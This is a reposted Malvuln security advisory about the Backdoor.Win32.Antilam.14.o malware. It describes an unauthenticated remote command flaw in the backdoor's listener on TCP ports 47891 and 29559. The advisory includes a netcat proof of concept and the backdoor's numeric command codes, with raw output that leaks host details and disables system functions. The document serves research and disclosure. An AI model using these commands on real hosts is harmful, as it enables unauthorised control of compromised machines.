Friday, October 29, 2021

Backdoor.Win32.Antilam.14.o Remote Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2914f01e65d848655d4f1aac51ff04d1.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Antilam.14.o
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 47891, 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Commands are typically three digits e.g. 001 and perform various actions on the infected host.
Type: PE32
MD5: 2914f01e65d848655d4f1aac51ff04d1
Vuln ID: MVID-2021-0379
Disclosure: 10/27/2021

Exploit/PoC:
nc64.exe x.x.x.x 47891
001
001╧α∩Ωα Windows: C:\WINDOWS
╧α∩Ωα System:
╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\
┬σ≡±Φ Windows: Windows NT 6.2 9200
╠Φφ≤≥ Γ Windows: 711
╚∞ Ωε∞∩α: DESKTOP-2C3IQHO
╚∞ ■τσ≡α: Victim
▀τ√Ω Windows: English (United States)
╨ατ≡σ°σφΦσ: 1547x787
NumLock: Off
CapsLock: Off
ScrollLock: Off
╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 973,041,664
╒ε±≥: DESKTOP-2C3IQHO
╩δΦσφ≥εΓ ∩εΣΩδ■≈σφε: 2002
000 ╨αßε≈ΦΘ ±≥εδ ±Ω≡√δ± ...003
000 ╧╙╤╩ ±Ω≡√δ± ...004
000Taskbar ±Ω≡√δ± ...005
000╚ΩεφΩΦ ±Ω≡√δΦ±ⁿ...006
000╫α±√ ±Ω≡√δΦ±ⁿ...007
000Monitor Γ√Ωδ■≈σφ...008
000Ctrl+Alt+Del Γ√Ωδ■≈σφ...009
000ScrollLock Γ√Ωδ■≈σφ...010
000CapsLock Γ√Ωδ■≈σφ...011
000NumLock Γ√Ωδ■≈σφ...012
000CD-ROM ταΩ≡√≥...013
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Γ≡σ∞ ...014
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Σα≥≤...015
01508:44 PM|10/19/2021016
000╩φε∩ΩΦ ∞√°Φ ΓετΓ≡α∙σφ√...017
000┴σ°σφα ∞√°ⁿ ε≥Ωδ■≈σφα...018
000Mouse was been unlocked...019

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore